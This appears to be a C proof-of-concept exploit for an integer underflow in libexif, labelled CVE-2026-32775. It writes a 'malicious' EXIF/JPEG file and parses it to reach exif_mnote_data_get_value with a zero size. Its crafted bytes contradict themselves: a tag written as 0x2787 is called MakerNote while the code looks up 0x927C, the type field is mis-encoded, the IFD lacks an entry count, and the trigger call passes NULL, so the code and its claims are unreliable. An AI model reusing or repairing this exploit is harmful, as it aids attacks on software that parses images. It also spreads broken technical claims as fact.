#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <exif.h>
/*
* CVE-2026-32775 PoC - libexif Integer Underflow
* This PoC demonstrates triggering the integer underflow in exif_mnote_data_get_value
* when processing a crafted EXIF image with malformed MakerNotes.
*
* Compile: gcc -o poc poc.c `pkg-config --cflags --libs libexif`
* Run: ./poc malicious.exif
*/
void create_malicious_exif(const char *filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
fprintf(stderr, "Failed to create file\n");
return;
}
// JPEG header
unsigned char jpeg_header[] = {
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01,
0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00
};
fwrite(jpeg_header, sizeof(jpeg_header), 1, fp);
// Crafted APP1 marker with malformed MakerNotes (size=0 triggers underflow)
unsigned char app1[] = {
0xFF, 0xE1, 0x00, 0x30, // APP1 marker with length
0x45, 0x78, 0x69, 0x66, 0x00, 0x00, // "Exif\0\0"
0x49, 0x49, 0x2A, 0x00, // TIFF little-endian header
0x08, 0x00, 0x00, 0x00, // TIFF offset
// IFD0 entry for EXIF
0x87, 0x27, 0x00, 0x00, // Tag 0x2787 (MakerNote)
0x00, 0x05, 0x00, 0x00, // Type: UNDEFINED (5)
0x00, 0x00, 0x00, 0x00, // Count: 0 (triggers integer underflow)
0x10, 0x00, 0x00, 0x00 // Value/Offset
};
fwrite(app1, sizeof(app1), 1, fp);
// Padding to reach file size
unsigned char padding[100] = {0};
fwrite(padding, sizeof(padding), 1, fp);
// JPEG end marker
unsigned char eoi[] = {0xFF, 0xD9};
fwrite(eoi, sizeof(eoi), 1, fp);
fclose(fp);
printf("Malicious EXIF file created: %s\n", filename);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <exif_file>\n", argv[0]);
printf("Creating test file with crafted MakerNotes...\n");
create_malicious_exif("test_cve_2026_32775.exif");
return 0;
}
const char *filename = argv[1];
printf("Analyzing EXIF file: %s\n", filename);
ExifData *ed = exif_data_new_from_file(filename);
if (!ed) {
fprintf(stderr, "Could not read EXIF data from %s\n", filename);
return 1;
}
// Access MakerNote to trigger vulnerability
ExifEntry *entry = exif_content_get_entry(ed->ifd[EXIF_IFD_EXIF], 0x927C);
if (entry) {
printf("MakerNote entry found, size: %u\n", entry->size);
// This call can trigger exif_mnote_data_get_value with size=0
unsigned char buffer[256] = {0};
exif_mnote_data_get_value(NULL, buffer, sizeof(buffer), entry->size);
}
exif_data_unref(ed);
printf("Analysis complete\n");
return 0;
}